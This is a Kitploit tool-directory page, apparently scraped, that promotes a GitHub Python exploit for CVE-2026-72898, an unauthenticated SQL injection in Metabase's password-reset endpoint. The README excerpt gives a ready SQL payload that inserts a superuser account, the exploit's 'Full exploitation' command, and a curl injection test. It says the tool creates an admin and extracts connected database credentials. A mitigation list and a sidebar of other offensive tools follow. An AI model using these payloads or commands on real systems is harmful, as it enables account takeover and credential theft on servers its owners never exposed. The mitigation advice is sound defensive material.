Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-72898 — Python exploit for CVE-2026-72898, an unauthenticated SQL injection in Metabase's password reset endpoint that creates admin accounts and extracts database credentials. | Kitploit
Tools/GitHubGitHub/34zy/cve-2026-72898
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingDatabase Security
GitHub34zy/cve-2026-72898

CVE-2026-72898

372 months agoNot yet reviewed

Python exploit for CVE-2026-72898, an unauthenticated SQL injection in Metabase's password reset endpoint that creates admin accounts and extracts database credentials.

View Repository
Share

Metabase SQL Injection RCE

CVSS 10.0 CRITICAL EXPLOITED NO AUTH

Exploitation Demo

Unauthenticated SQL injection in Metabase /api/session/reset_password endpoint. Creates admin accounts and extracts database credentials.

Affected: v58.0 - v63.3 | Patched: v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+


Quick Start

pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check

The Vulnerability

String concatenation in SQL query:

# Vulnerable code
query = f"SELECT * FROM core_user WHERE email='{email}'"

Attack payload:

'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --

Usage

Check only (no modification):

python3 CVE-2026-72898.py http://localhost:5000 --check

Full exploitation:

python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!

Manual testing:

# Verify endpoint
curl http://localhost:5000/api/health

# Test SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
  -H "Content-Type: application/json" \
  -d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'

What It Does

  1. Detects Metabase instance (boolean-based SQLi)
  2. Creates admin user via SQL injection
  3. Authenticates with new admin
  4. Extracts connected database credentials
  5. Verifies full system compromise

Impact

  • Unauthenticated admin access
  • Database credential extraction
  • Connected database compromise
  • Full application control

Mitigation

NOW:

  • Upgrade to patched version
  • Block /api/session/reset_password via WAF
  • Audit admin accounts for unauthorized additions
  • Rotate all database credentials

LATER:

  • Use parameterized queries
  • Add input validation
  • Implement authentication on all sensitive endpoints
  • Enable SQL query logging

Links

  • GitHub Advisory
  • NVD CVE Entry

Authorized use only. Unauthorized access is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →